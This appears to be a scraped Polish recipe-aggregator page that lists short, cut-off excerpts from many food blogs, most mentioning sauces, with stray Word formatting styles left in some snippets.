zupę mleczną. Kaszę mannę bardzo lubię i dziś przygotowałam szybki deser z nią w roli głównej. Pudding przygotowujemy nie dłużej niż w 15 minut i możemy zaszaleć z owocowymi sosami lub innymi dodatkami. U mnie w lodówce znalazły się wiśnie w słoiku, które wpasowały się idealnie.  Składniki 250 ml mleka 4 płaskie łyżki kaszy manny pół łyżeczki cynamonu

pink envelope
Schabowy z pikantnym pesto 214

Jeśli trzeba to dolewam bulionu. Gotowe pokroiłem w różnej wielkości skośne kawałki i podałem. Do reszty wywaru na patelni dolałem resztę bulionu, zagotowałem i przy pomocy mąki zrobiłem pyszny sos

Mechanik w kuchni
WEGAŃSKI KEBAB 174

Wegański kebab, to nazwa oczywiście zapożyczona, dzisiejsze jedzonko nie ma nic wspólnego z kebabem. Będzie tortilla nadziewana cieciorką i warzywami. Dodatkowo polane przepysznym sosem jogurtowo- ziołowym a że jest niedziela, czas odpoczynku i relaksu i nie każdy ma ochotę siedzieć w kuchni,to będzie w sam raz. Nic tylko palce lizać :-)  SKŁADNIKI:  4 tortille  puszka cieciorki

pieprzny smaczek
Śledzie w potrawce z sosem pomidorowym 183

przyrządzić je sam! I dziś chcę się podzielić jednym z moich przepisów ! zapraszam !!! Ten przepis jak i inne można znaleźć w lewym bocznym pasku! Śledzie w potrawce z sosem pomidorowym. Składniki : 5 filetów śledzie w zalewie solnej 5-6 dużych główek cebuli  sól morska i pieprz  olej do smażenia  1 czerwona papryka 3 ziela angielskie

Sprawdzone przepisy kulinarne
Ziołowa zapiekanka ziemniaczana na nostaligę i tęsknotę 207

wstawiamy do piekarnika nagrzanego na 180*C i pieczemy aż góra się zrumieni (20 minut do pół godziny). Zapiekankę można jeść na gorąco, z dodatkiem surówki a nawet sosu np. pieczarkowego. Ja najbardziej lubię ją samą. Można ją też jeść na zimno- na przykład wziąć do pracy w pudełeczku. Tylko jedna dobra rada od zaprawionych w boju- nałóżcie sobie połowę

les mirabelles
Cholera z telefonami 194

patisona- dorzucamy. Dolewamy 150 mililitrów wody. Kroimy kiełbasę- i do garnka. Zioła drobno siekamy- do garnka. Dodajemy przecier pomidorowy i drobno pokrojony czosnek. Dusimy aż warzywa będą miękkie a sos trochę zgęstnieje. Dziś leczo podałam w żytnim chlebku. W internecie są przepisy na chleb do żurku, ja jednak poszłam na łatwiznę i swój kupiłam mrożony w sklepie. Tuż przed podaniem

les mirabelles
Jesienna zdrada 273

Garfielda. Jego miłość do spania i kawy, nienawiść poniedziałków i ogólna złośliwość, to wartości, które staram się pielęgnować w sobie. Co powiedziałby Garfield na (o zgrozo) wegetariańską lazanię? Bez sosu bolońskiego? Herezja!   W książce kucharskiej Garfielda (którą posiadam dzięki Moni) są aż trzy przepisy na tą potrawę- wszystkie z mięsem. Czy powinnam się wstydzić swojej niegarfieldowej postawy? Śmiem twierdzić

les mirabelles
Moja wielka, grecka jesień 176

ognia. Następnie wsypujemy cukier i mieszamy. Połamaną w drobne kostki czekoladę wrzucamy do płynu i mieszamy aż do rozpuszczenia. W misce kruszymy ciastka na grube kawałki i polewamy przestudzonym sosem czekoladowym. Dodajemy orzechy i mieszamy. Zostawiamy na kilkanaście minut, żeby ciastka wchłonęły część płynu. Następnie masę układamy na kawałku folii spożywczej, zawijamy, formujemy i wkładamy do lodówki na około

les mirabelles
Friand, Lesmirabelordzie. 197

mieszamy. Ciasto umieszczamy w foremkach, wierzch każdej babeczki dekorujemy kawałkami śliwki i pieczemy 20-25 minut do suchego dźgulca. Anglicy radzą jeść na ciepło, z dużą ilością kawowego karmelu. Sos karmelowy z butelki też dał radę;) Okazuje się, że słowo "friand" po francusku oznacza "łasuch"- to wiele wyjaśnia:-) PS. Niestety wpisów ogrodowo-harkówkowych na razie brak- tak jak i czasu

les mirabelles
Karkówka pod pierzynką serową z pesto. 241

karkówki, pesto bazyliowe 0,5 kg. pieczarek 10 dag. włoskiego sera (u mnie grana padano) oliwa z oliwek masło klarowane przyprawy: majeranek, sól, pieprz, odrobina chili, kilka kropli ciemnego sosu sojowego, vegeta WYKONANIE: z oliwy i przypraw zrobić marynatę, karkówkę rozbić lekko nakłuwaczem, zanurzyć  w marynacie, odstawić na 2-3 godz.(ja zostawiam na całą noc),   pieczarki obieramy

Kuchnia Beaty
Pasta ze szprotek w sosie pomidorowym. 232

bardzo smaczna pasta. Polecam. SKŁADNIKI 1 puszka sardynek w pomidorach 1 pęczek szczypiorku 10 dag twarogu 4 jajka sól , pieprz 1 łyżka majonezu WYKONANIE: Rybę wyjmujemy z puszki. nadmiar sosu wylewamy. Dodajemy ugotowane i przetarte jajka, twaróg. Wszystko dobrze rozgniatamy widelcem. Można zblendować. Osobiście wolę jak są wyczuwalne kawałki. Dodać posiekany szczypior. Trochę posolić i popieprzyć. Tu zostawiam kwestie smakowe

W kuchennym oknie Ewy
Nadziewana czerwona papryka i rzeszowskie cluby jazzowe 181

wymieszaj. Nadziej papryki farszem, posyp żółtym serem i przykryj wierzchem. Zapiekaj ok. 30 minut w piekarniku nagrzanym do 180ºC. Podawaj natychmiast, posypane szczypiorkiem. Danie świetnie smakuje z ketchupem lub sosem pomidorowym. Warto odwiedzić Klimaty i Boa ze względu na świetną muzykę, regularnie organizowane płatne koncerty i jam session, na które wstęp jest wolny. Wnętrze Boa , źródło: hotparty.pl Źródło: imprezy.rzeszow.pl Stuffed

Qlinarnie i Qlinarnie
Humus idealny, Loveyo 249

najpierw napełniamy kubek jogurtem (do wyboru: naturalny, migdałowy, jagodowy i orzechowy). Następnie dodatki, np. cini minis, M&M, czekoladowe draże, orzechy laskowe, jagody, ananasy, wiśnie. Kolejny etap to sos, np. toffi, czekoladowy i w końcu ważenie jogurtu. Za ten na zdjęciu zapłaciłam ok. 7zł + kawa. Na stoisku obowiązuje samoobsługa. I być może to jest powodem, dla którego jest

Qlinarnie i Qlinarnie
Placki ziemniaczane i Andy Warhol w Muzeum Okręgowym 213

mąki.) Ja dolewam również parę łyżek oleju. Dzięki temu nie trzeba placków smażyć na rozgrzanym oleju i się nie przypalają. Smaż z obu stron na złoto. Podawaj np. z sosem czosnkowym (jogurt naturalny + rozgniecione ząbki czosnku + opcjonalnie trochę śmietany). Chyba każdy już wie, że Andy Warhol jest autorem obrazów przedstawiających puszki coca-coli, zupa Campbella czy charakterystyczne kolorowe portrety sławnych

Qlinarnie i Qlinarnie
Domowa tahina i z OpenCard w Muzie 224

smaczna, natomiast naleśniki to podeszwy sprzed 2 dni, nadziane owocami z puszki i polane bitą śmietaną, która po kilku minutach całkowicie się rozpuszcza (bo jest z proszku). Plus: pyszny sos truskawkowy, ładnie podane jedzenie. Spodziewałam się więcej, zwłaszcza, że Muza to restauracja przy teatrze, a ceny nie są najniższe... Zupa cebulowa Naleśniki z owocami Home-made tahini Normal

Qlinarnie i Qlinarnie
Tagliatelle z pieczarkami w kremowym sosie, Przekleństwa niewinności 202

czosnek. Dodaj pokrojone w plastry pieczarki i smaż jeszcze parę minut. Dopraw do smaku solą i pieprzem. Odstaw z ognia, po chwili wmieszaj ser mascarpone i polej makaron sosem. Podawaj ciepłe. Możesz posypać danie listkami świeżej bazylii. Wychodzą 3-4 porcje. Uwielbiam twórczość Sofii Coppoli. I zakochałam się również w  Przekleństwach niewinności (1999) - pesymistycznych, nostalgicznych i nasyconych erotyzmem. Nastrój

Qlinarnie i Qlinarnie
Spaghetti al pesto i kilka czeskich filmów 201

przykryj pokrywką. Na suchej patelni podpraż pestki słonecznika (możesz odłożyć małą ilość do posypania dania). W misce zmiksuj: oliwę, żółty ser, pestki słonecznika, czosnek i bazylię. Od razu połącz sos z makaronem, fasolką i ziemniakami. Dopraw solą, pieprzem i sokiem z cytryny. Dokładnie wymieszaj i podawaj ciepłe. I jeszcze kilka tytułów czeskich filmów wartych polecenia: Skrzat , Guzikowcy , Jedna ręka

Qlinarnie i Qlinarnie
Pieczone warzywa z kuskusem i Drapacz chmur 182

Zapraszam do spróbowania bardzo szybkiego w przygotowaniu, sycącego i pełnego witamin dania! Zapewniam, że w takim wydaniu każdy polubi warzywa (możesz użyć jakich tylko chcesz). Danie najlepiej smakuje z sosem, np. czosnkowym. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

Qlinarnie i Qlinarnie
Pieczone jabłka i z OpenCard w Quchnii 28 228

Napełnij każdy owoc nadzieniem: kilkoma rodzynkami, kilkoma owocami suszonej żurawiny i 1 łyżką syropu. Posyp cynamonem. Zapiekaj 20 minut. Od razu podawaj. Sałata z kozim serem i gruszkami w sosie figowo-balsamicznym. Bardzo smaczne, niestety jedno z nielicznych jarskich dań w Quchnii 28 . Do tego foccacia. Ceny: horrendalne (jak na przeciętną kieszeń), ale z OpenCard* można sobie pozwolić na niektóre

Qlinarnie i Qlinarnie
Makaron z imbirem, kilka polskich filmów 218

podsmaż wszystko na oleju. Dodaj pomidory i przecier. Duś kilka minut (aby warzywa były chrupiące, nie miękkie). Na koniec dodaj oliwki i imbir. Dopraw solą i pieprzem. Wymieszaj sos z makaronem i natychmiast podawaj. I jeszcze kilka tytułów polskich filmów, które warto zobaczyć: Wymyk (2011, Grzegorz Zgliński), Bez wstydu (2012, Filip Marczewski) i Kret (2010, Rafael Lawendowski). Świetne obsady

Qlinarnie i Qlinarnie
Z OpenCard w Trattorii, Przemyśl i bolestraszyckie Arboretum 195

Trattoria ul. Kasztelańska 1 Jarosław Przystawki: Camembert w chrupiącej panierce z żurawiną Szpinakowa przekąska Włoskie grzanki z serem pleśniowym i suszonym pomidorem Dania główne: Gnocchii ze szpinakiem Pappardelle z sosem borowikowym I bardzo smaczny napój aloesowy: A tutaj wnętrze restauracji: Przemyśl: Odnowiony dworzec PKP Dworzec PKP Dworzec PKP Fontanna przy Muzeum Dzwonów i Fajek Lody i lizaki na ul. Franciszkańskiej

Qlinarnie i Qlinarnie
Tzatziki i giełda staroci 232

para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Arial","sans-serif"; mso-fareast-language:EN-US;} Lekki i orzeźwiający sos, np. do kanapek, dań z grilla czy obiadu. Składniki: 3-4 ogórki, starte na tarce 1 duże opakowanie gęstego jogurtu naturalnego/greckiego sól, pieprz świeży posiekany koper suszone oregano 2-3 ząbki

Qlinarnie i Qlinarnie
Letni obiad i rzeszowskie Życie jest piękne 224

Arial","sans-serif"; mso-fareast-language:EN-US;} A dziś na obiad były: młode ziemniaki z koperkiem, smażona cebulka na oleju, mizeria z jogurtem naturalnym, gotowana fasolka, sałata z sosem i szczypiorem oraz smażona cukinia w oleju smakowym (pozostałym po pomidorach suszonych). Mega warzywnie i zielono. I praktycznie za darmo - chwała rodzicom, którzy uprawiają własne warzywa i hojnie nas nimi

Qlinarnie i Qlinarnie
Rozmarynowe placuszki z cukinii i Obraz 212

pagination:widow-orphan; font-size:12.0pt; font-family:"Arial","sans-serif"; mso-fareast-language:EN-US;} Dziś przepis na łatwe i chrupiące placuszki. Świetnie smakują z sosem tzatziki. Składniki: 100 g mąki 1 łyżka mąki z 1 łyżeczką proszku do pieczenia 50 ml ulubionego mleka 300g cukinii, startej na tarce (jedna mała cukinia) 1 łyżka oleju 2 łyżki świeżego

Qlinarnie i Qlinarnie
Minestrone i Węgry (1) 194

smacznie. Dogada się po niemiecku lub na migi, gorzej z angielskim. Bardzo smaczne węgierskie kluseczki i panierowany kalafior G ombóc : drożdżowa kula z powidłem śliwkowym, mielonym makiem i sosem a'la budyń waniliowy. Pyyyyszne. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband

Qlinarnie i Qlinarnie
Zapiekanka makaronowa i Multimedialna Fontanna 203

pokrojone ostre papryczki, oliwki. Wymieszaj koncentrat pomidorowy z kilkoma łyżkami wody i polej nim zapiekankę. Piecz danie przez 30 minut. Rozmieszaj mleko z jajkami, dopraw solą i pieprzem, polej sosem zapiekankę, posyp pokruszoną fetą/pokrojoną mozarellą i oregano. Zapiekaj jeszcze 10 minut. Pokazy specjalne rzeszowskiej Fontanny Multimedialnej (przy al. Lubomirskich, naprzeciwko zamku - obecnie budynek sądu) odbywają się tylko

Qlinarnie i Qlinarnie
Warzywna potrawka i w Saigonie 234

oraz pyszne wino z liczi - polecam. Saigon oferuje obiady na dowóz, organizuje przyjęcia okolicznościowe i bankiety. Saigon ul. Jana III Sobieskiego 14 godziny otwarcia: codziennie 11.00-22.00 Tofu w sosie słodko-kwaśnym Wino z liczi Kalafior z pomidorami Makaron sojowy z warzywami Sake Wnętrze restauracji   Vegetable fricassee I ate this one-plate dish in Budapest. Plus baked potato quarters

Qlinarnie i Qlinarnie
Amore pomidore i Multimedia Happy End 199

blendera). Rozgrzej oliwę w szerokim garnku. Podsmaż warzywa. Pokrój pomidory w większe kawałki, wrzuć do garnka, dodaj zioła i duś około 10-15 minut. Dopraw solą i pieprzem. Wymieszaj sos z makaronem i od razu podawaj, np. z oliwkami. Kończy się rzeszowski MULTIMEDIA HAPPY END czyli Festiwal Filmów Optymistycznych (to już 11. edycja!). Kilka tytułów wartych polecenia:  Niebo

Qlinarnie i Qlinarnie
Jarmużowa sałatka i surówka, DKF 250

planach jeszcze pesto i pieczone pierogi z jarmużem. Na zdjęciu (znalezione na necie i zrobione przez mojego tatę-mistrza surówek): wegetariańska surówka (jarmuż, jabłka, ogórki kiszone, prażone orzechy włoskie, sos jogurtowy z sokiem cytrynowym) i wegańska sałatka (ugotowany a później podsmażany jarmuż z jabłkiem, odrobiną mąki i oleju). Obok kotlet owsiany i puree ziemniaczane. Rzeszowski WDK na ul. Okrzei regularnie

Qlinarnie i Qlinarnie
Pieczone pierogi z jarmużem i fetą, Da Grasso 245

height:115%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Arial","sans-serif"; mso-fareast-language:EN-US;} Kolejny smaczny pomysł na jarmuż (pierogi są dość suche - sos konieczny). Przepis na świetne kruche ciasto stąd . Składniki na 7 pierogów: 1/2 kostki masła (z 200g) 3 łyżki jogurtu 1 łyżeczka soli 1/2 łyżeczki proszku do pieczenia 2 szklanki mąki

Qlinarnie i Qlinarnie
Wigilijny barszcz czerwony mojej mamy, Gran Torino 228

Barszcz praktycznie robi się sam, trzeba tylko zacząć jego przygotowanie dzień wcześniej, a później dobrze przyprawić. Jemy z uszkami z nadzieniem grzybowym. A tutaj przepis na wigilijny sos korzenny . Składniki: kilka marchewek kilka buraków 1 cebula 2 ząbki czosnku do smaku: sól, cukier, czarny pieprz, sok z cytryny kilka kulek ziela angielskiego kilka liści laurowych   Zetrzyj marchewkę i buraki

Qlinarnie i Qlinarnie
Trochę lata zimą, Hobbit: Pustkowie Smauga 194

Była ochota na mizerię w grudniu, to mizeria musiała być (jogurt, ogórki, cebula czerwona). Do tego więcej lata w zimie: sałata zielona z sosem , puree ziemniaczane, udoskonalone kotlety owsiane (z przyprawą do mielonego, ale bez jajek) i kompot brzoskwiniowy. Cały obiad w nieco pół godziny. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable

Qlinarnie i Qlinarnie
Kasztanowo-kawowe roladki, Kuchnia filmowa 191

dania filmowe i piękne zdjęcia. W pierwszej kolejności pojawią się u mnie niebieska zupa porowa Bridget Jones (w 100% jadalna!), pudding z Shire i lembasy z Władcy Pierścieni , sos czekoladowy z Charli'ego i Fabryki Czekolady , makaron z żółtym serem z filmu Kevin sam w domu i amerykańskie naleśniki z Matyldy .  Kuchnia filmowa , Paulina Wnuk, Wydawnictwo Otwarte, 224 strony

Qlinarnie i Qlinarnie
Sycący zimowy obiad, Czarodziejka 208

bardzo prosto, podpatrzone na blogu Magdy , zajadają się nimi również znajomi mi mięsożercy!), brązowy ryż, żurawina do mięs i serów Łowicz (nie zawiera żelatyny) i sałata lodowa z sosem . Jak zrobić kotlety? Składniki: 1 puszka białej fasoli ½ cebuli sól, papryka wędzona słodka mąka kukurydziana olej Fasolę odcedź, zblenduj z cebulą, dodaj paprykę i sól, trochę mąki kukurydzianej, aby masa były

Qlinarnie i Qlinarnie
Pesto jarmużowe, Pod mocnym aniołem 192

ciepło pycha i do tego bardzo sycące. Na sos: kilka łyżek prażonych pestek słonecznika lub dyni, 1 woreczek odmrożonego jarmużu lub nieduża ilość świeżego (ugotuj na parze lub w wodzie), 3-4 ząbki czosnku, mały kawałek twardego sera żółtego (ze sztuczną podpuszczką, starty na tarce), trochę soku z cytryny i oliwy (kilka łyżek lub więcej). Drobno pokrój jarmuż, zblenduj resztę

Qlinarnie i Qlinarnie
Bigos, Kapitan Philips 199

pokrojonych pieczarek 1 kg kiszonej kapusty z marchew ką, po odciśnięciu soku 150 g pokrojonych suszonych śliwek 3 łyżeczki koncentratu pomidorowego 3 łyżki miodu sztucznego lub cukru 2 łyżki sosu sojowego 1 łyżka suszonego majeranku kilka ziaren ziela angielskiego 2-3 liście laurowe sól, pieprz 500 ml wody Pokrój tofu w kostkę. Rozgrzej olej w dużym garnku i dobrze podsmaż

Qlinarnie i Qlinarnie
Seler w cieście, surówka z chrzanem; big bit 225

family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} Smacznie i szybko: seler w cieście, surówka marchewkowo-jabłkowa z chrzanem i jogurtem naturalnym, sałata z sosem i puree ziemniaczane. Jak zrobić kotlety selerowe ? (Możesz też wypróbować wersji na bogato z orzeszkami ziemnymi .) Składniki: 1 duży seler korzeniowy mąka, woda sól, pieprz, przyprawa do ryby, kurkuma olej

Qlinarnie i Qlinarnie
Meksykańska zupa fasolowa, Long Phung 194

miękkie, tofu z chrupiącą skórką, dobrze podsmażone. Do tego surówka z marchewki i standardowo z tym daniem - miseczka ryżu gotowanego na parze (do każdego dania są również podawane 2 sosy: łagodny i ostry). W tle muzyka wietnamska.  W końcu restauracja, w której jest dość dużo opcji bezmięsnych do wyboru.  Jedyny minus, jak mi przychodzi do głowy, to pewnie

Qlinarnie i Qlinarnie
Placuszki owsiane, Česká Hospoda 205

powodu nogi zaniosły mnie do Českiej Hospody (ul. Rynek 5, Rzeszów). Tuż na wejściu wita nas kelnerka i prowadzi do stolika (najlepiej wcześniej zarezerwować). Zamówiłam knedliki z sosem szpinakowym – bardzo smaczne (jarosze mają jednak bardzo ograniczony wybór).  Ceny nie są specjalnie wygórowane, jak na lokal w centrum miasta (zupy do 10zł, dania główne do 22zł).  Po raz pierwszy

Qlinarnie i Qlinarnie
Smażony tempeh 201

Skład: bio soja, bio olej słonecznikowy, bio sos sojowy Shoyu, bio czosnek. Firma: Sunfood. Cena: ok. 15zł. Masa netto: 210g. Tempeh wytwarzany jest z ziaren soi poddanych procesowi fermentacji (pochodzi z kuchni indonezyjskiej). Jest szeroko stosowany w kuchni wegetariańskiej i wegańskiej. Lubię soję w wielu wydaniach (np. tofu i parówki sojowe), ale tempeh nie przypadł mi do gustu. Ma lekko

Qlinarnie i Qlinarnie
Truskawki na 3 sposoby, stary Rzeszów na okrągłej kładce 238

Wersja dla średnio leniwych – jaglany pudding z truskawkami . Przygotujemy jak pannę cottę , ale bez wanilii i przed wylaniem masy jaglanej, wykładamy boki formy silikonowej pokrojonymi truskawkami. Można deser polać sosem truskawkowym lub innym. Nie wymaga dużo pracy, ale trzeba trochę poczekać.  3 .    Wersja dla pracusiów: pyszny dżem truskawkowo-bananowy lub truskawkowy . Jeśli użyjemy żelfixu (np. Dr. Oetkera

Qlinarnie i Qlinarnie
Sałatka arbuzowa z melisą, Kazimierz Dolny n. Wisłą 237

miseczkach. Wyciśnij sok z pomarańczy do małego garnka, dodaj do niego sok z cytryny, cukier i doprowadź do wrzenia, odstaw z ognia, mieszaj, aż cukier się rozpuści. Lekko schłodzonym sosem polej pokrojonego arbuza i posyp posiekaną melisą. Podawaj schłodzone. W Kazimierzu Dolnym nad Wisłą panuje naprawdę wyjątkowa atmosfera. Porównałabym go do węgierskiego Szentendre (o którym pisałam tutaj ). Oba miasteczka

Qlinarnie i Qlinarnie
Pasztet z cukinii, Dziewczyna z lilią 273

duże ząbki czosnku 1 łyżka masła 4 jajka 2 szklanki bułki tartej* 200 g sera żółtego 3/4 szklanki oleju 1 łyżka tymianku lub np. majeranku, cząbru 2 łyżki sosu sojowego 1/4 łyżeczki gałki muszkatołowej pieprz sól lub jarzynka bez glutaminianu sodu *Ja dałam 1 szklankę bułki tartej i 1 szklankę kaszy kukurydzianej – na kolor. Zetrzyj cukinię na tarce o dużych

Qlinarnie i Qlinarnie
Śmietana sojowa 185

nadaje się jednak do ubijania, ale jest dość gęsta, więc można ją z powodzeniem dodawać do deserów (co zresztą poleca producent). Poza tym może służyć jako dodatek do herbaty, sosów i dań obiadowych. Produkt roślinny w 100%. Zawiera alergeny: soję i pszenicę. Podsumowując, relacja: cena-pojemność-smak-jakość jak najbardziej na plus. W przyszłości pewnie jeszcze kupię, ale biorąc

Qlinarnie i Qlinarnie
Klasyczne brownies, Magiczne smaki 197

posłużyło masło ghee (które można kupić w restauracji).  Na drugie danie niezły misz-masz: ziemniaki z groszkiem, kotlety z ziarnami, gotowane buraczki z goździkami (nadzwyczaj smaczne), seler w sosie pomidorowym, gulasz z dynią i kukurydzą. Da tego dania podawana jest miseczka surówki. Jak szaleć, to szaleć: deser. Genialna tarta cytrynowa na spodzie z 2 mąk  z bezą

Qlinarnie i Qlinarnie
Zimowy obiad wegański II, 14. Nowe Horyzonty Tournée 268

zdjęciu: ziemniaki szwedzkie hasselback potatis , surówka z kapusty kiszonej , kotlet z czerwonej fasoli (panierowany w pestkach słonecznika, wg tego przepisu ), sałatka na ciepło z jarmużu i jabłka , seler w sosie pomidorowym z czosnkiem. Bogactwo smaków i aromatów. Do tego kolorowo, niedrogo i bardzo smacznie. Z wyjątkiem ziemniaków, resztę przygotujesz całkiem szybko. A jak przygotować seler w pomidorach? Składniki: 1 seler

Qlinarnie i Qlinarnie
Bigos wegański 2.0, podsumowanie roku 2014 217

Przepis dodaję do akcji:     Najpopularniejsze posty minionego roku: 1. Danie z czerwonej soczewicy 2. Zupa ze świeżych ogórków 3. Smarowidło do chleba z czerwonej fasoli 4. Sos koperkowy 5. Zupa-krem z bobu 6. Pieczone pieczarki 7. Zasmażane buraczki Polish Bigos 2.0, most popular posts of 2014 It's obligatory  in the winter  to make bigos

Qlinarnie i Qlinarnie
Pieczone warzywa z kuskusem 2.0, Pod słońcem Toskanii 233

Całkiem szybkie i bardzo smaczne danie. Tak, jak tutaj , ale udoskonalone: z dodatkiem sosu czosnkowego (pół dużego jogurtu naturalnego + pół kostki fety) i kotletami sojowymi kebab-gyros wg tego przepisu . Jak przygotować pieczone warzywa? Obierz dowolne, pokrój na mniejsze kawałki, wrzuć do miski i dodaj kilka łyżek oleju (użyłam tego z suszonych pomidorów, może być zwykły + ulubione zioła i przyprawy

Qlinarnie i Qlinarnie
Focaccia – biała pizza, Danie dnia 226

Przygotowujemy do niej ciasto, jak na pizzę  (ale bez sosu pomidorowego). Z nadzieniem można do woli eksperymentować – ja wybrałam cebulowe. P.S. Nie musisz rozwałkowywać ciasta tak cienko, jak do pizzy. Dobrym pomysłem jest dodanie do niego suszonego rozmarynu. Składniki nadzienia: 2 białe cebule 2 czerwone cebule 2-3 ząbki czosnku 3-4 łyżki oliwy sól, pieprz rozmaryn (suszony

Qlinarnie i Qlinarnie
Kotlety ziemniaczane 320

lepiło i formujemy z niego kulki które następnie obtaczamy w bułce tartej. Kulki spłaszczamy na kształt kotleta i wrzucamy na rozgrzany olej. Smażymy do zarumienienia. Podajemy same, lub z sosami: pieczarkowym lub pomidorowym. Koszt: w zależności głównie od ceny ziemniaków 1.5-3.5 zł (ok 3 porcje z podanych składników

Tanie przepisy studenckie
Wspaniały kurczak z ananasem i curry 305

zachowując syrop zawarty w puszce. 3. Do smażącego się kurczaka dodajemy warzywa, podlewamy odrobiną wody i dusimy wszystko. 4. Gdy warzywa będą już miękkie dodajemy ananasa i podlewamy wszystko sosem z ananasa i dusimy wszystko jeszcze 5 minut. 5. Gotujemy ryż wg przepisu na opakowaniu. Następnie wykładamy go na talerz. Na wierzch układamy naszego kurczaka i gotowe !    Smacznego

Zdrowo kolorowo lifestylowo
1. Ofenschlupfer - deser z bułki z bakaliami 179

masy jajeczno - śmietanowej dodać bułkę, jabłka oraz bakalie. Masę przełożyć do żaroodpornych foremek i piec w 170 C przez 30 minut. Podawać na gorąco. Jako dodatek można dodać gęsty sos waniliowy lub lody waniliowe

Jadło i czytadło
33. Żurawina w boczku w glazurze z miodu 122

wszystko zależy od wielkości plastrów). Boczek zawijamy w rulon i spinamy wykałaczką. Miód rozpuszczamy, najlepiej w mikrofalówce, dodajemy musztardę i olej, dokładnie mieszamy. Roladki układamy w naczyniu żaroodpornym, polewamy sosem, jeżeli nam została to można wysypać resztę żurawiny. Zapiekamy ok 15-20 minut, starając się, aby boczek zbytnio się nie wysuszył. Można podawać na ciepło, jak i zimno. Pycha

Jadło i czytadło
41. Mini ziemniaczane lazanie 212

plastry, przełożyć je farszem mięsnym (3 plastry ziemniaka, dwie warstwy mięsa) na samym końcu ser. Całość zapiekać w 180 stopniach przez 20-30 minut. Można podawać z sosem czosnkowym

Jadło i czytadło
72. Mix krewetkowy na cieście francuskim 173

delikatnie się połączyła. Avocado zmiksować z serkiem i majonezem. Na każde ciastko nałożyć liść sałaty (aby nie zrobiły się mokre od masy), następnie nałożyć masę krewetkową, a na wierzch sos z avocado

Jadło i czytadło
111. Kopytka w sosie szpinakowym 135

Kopytka: 1 kg ziemniaków 1 jajko 3 łyżki mąki ziemniaczanej  ok. 1,5 - 2 szklanek mąki sól, pieprz przyprawa Maggi  Sos szpinakowy: 100 g boczku 3 garście świeżego szpinaku 1 serek topiony 1 cebula 1 łyżka masła sól, pieprz, gałka muszkatałowa przyprawa Maggi Ziemniak ugotować w mundurkach w osolonej wodzie. Jeszcze ciepłe obrać z łupin i przepuścić przez

Jadło i czytadło
134. Sałatka z kalafiorem, pomidorami i jajkiem 258

łyżki majonezu 2 łyżki jogurtu Kalafior ugotować w cząstkach, następnie wystudzony poukładać na dużym płaskim naczyniu. Na to poukładać pokrojone w cząstki pomidory, jajka i ogórki. Całość polać sosem z majonezu i jogurtu, na samym końcu posypać szczypiorkiem i schłodzić przed podaniem

Jadło i czytadło
163. Makaron z sosem kurkowym 169

dusimy na wolnym ogniu ok. 20 minut (można podlać wodą - ok 1/2 szklanki). Następnie dodajemy śmietanę i zaklepkę z mąki i wody. Na samym końcu dodajemy natkę pietruszki. Sos podajemy z makaronem

Jadło i czytadło
"Panna cotta" truskawkowa 197

ciasto, to efekt mojej improwizacji z cyklu robię to, co mam w lodówce i w szafie. Gdy moja siostra spróbowała kremu stwierdziła, że smakuje jak Panna Cotta z sosem truskawkowym, dlatego nazwa taka, a nie inna. Wszystkim bardzo smakował a ciasto znikało w błyskawicznym tempie.  Biszkopt kakaowy: 4 jajka  1 szklanka cukru 3/4 szklanki mąki pszennej 1/4 szklanki

Jadło i czytadło
Sałatka z małych ziemniaczków w mundurkach 228

sałatkowy sezon ziemniaczany czas zacząć. Ja dziś proponuję sałatkę z bardzo małych ziemniaczków, których skórka jest bardzo delikatna i zjadliwa. Z młodych ziemniaczków w mundurkach z odpowiednim sosem i dodatkami można stworzyć oryginalne i pyszne ziemniaczane danie. 0,5 kg młodych i małych ziemniaków 1 średni słoik oliwek 1 saszetka Kujawski ze smakiem - czosnek i bazylia 3 ząbki czosnku

Jadło i czytadło
Makaron z cukinią i kurczakiem 199

skórki. Posolić i usmażyć na oleju do miękkości. Osobno usmażyć mięso kurczaka, gdy będzie już wystarczające miękkie dolać 3/4 szklanki wody i zmiażdżony czosnek, zagotować, dodać cukinie i wymieszać. Sos można zagęścić zaklepką z wody i mąki. Podawać z makaronem

Jadło i czytadło
Bliny żmudzkie 220

grubsze niż 3 cm . Smażyć z obu stron na złoty kolor, ale na niezbyt dużym ogniu, gdyż placki łatwo i szybko przypalają się. Gotowe  placki najlepiej smakują z sosem czosnkowym i surówką

Jadło i czytadło
Salceson gruszkowy 154

Lecza (6) Makarony (5) Mufinki (6) Napoje (8) Owoce morza (2) Pasty do pieczywa (9) Pasztety (8) Piekarnia (6) Pizza (3) Przetwory (9) Przystawki (43) Ryby (14) Sałatki (33) Sosy (3) Surówki (5) Torty (5) warzywa (15) Wegetariańskie (38) Zapiekanki (3) Zupy (17) Świąteczne kilmaty (8) Szukaj Technologia #uds-searchControl .gs-result .gs-title, #uds-searchControl .gs-result .gs-title

Jadło i czytadło
Sałatka z brokułu i zupkek chińskich 381

znoszę chińskich zupek, jednak muszę przyznać, że są wyjątkowo wygodnym i smacznym składnikiem sałatek. Wygodnym bo nie trzeba ich gotować, wystarczy że "opiją się" majonezem lub sosem sałatkowym i błyskawicznie miękną. Do takiej sałatki można dodać przeróżne składniki. Ja tym razem dodałam brokuł. 2 opakowania zupek chińskich (serowe lub rosołowe) 1 brokuł 1 długi ogórek 1 cebula

Jadło i czytadło
Śledzie po węgiersku 331

koncentratu pomidorowego 2 łyżki miodu 1/2 szklanki octu Cebule udusić w oleju, aby była miękka, dodać koncentrat, miód, ocet i wystudzić. Śledzie wymoczyć, pokroić i połączyć z wystudzonym sosem. Przełożyć, najlepiej do słoików i odstawić do lodówki

Jadło i czytadło
Sałatka makaronowa z brokułem i fasolką 439

parze przez 5 minut (gotowanie na parze spowoduje, że nie straci koloru). Fasolkę odcedzić i przelać zimną wodą.   Z majonezu, jogurtu, musztardy i zmiażdżonego ząbku czosnku przygotować sos, dodać do składników sałatki, przyprawić i wymieszać

Jadło i czytadło
Szybki deser walentynkowy 217

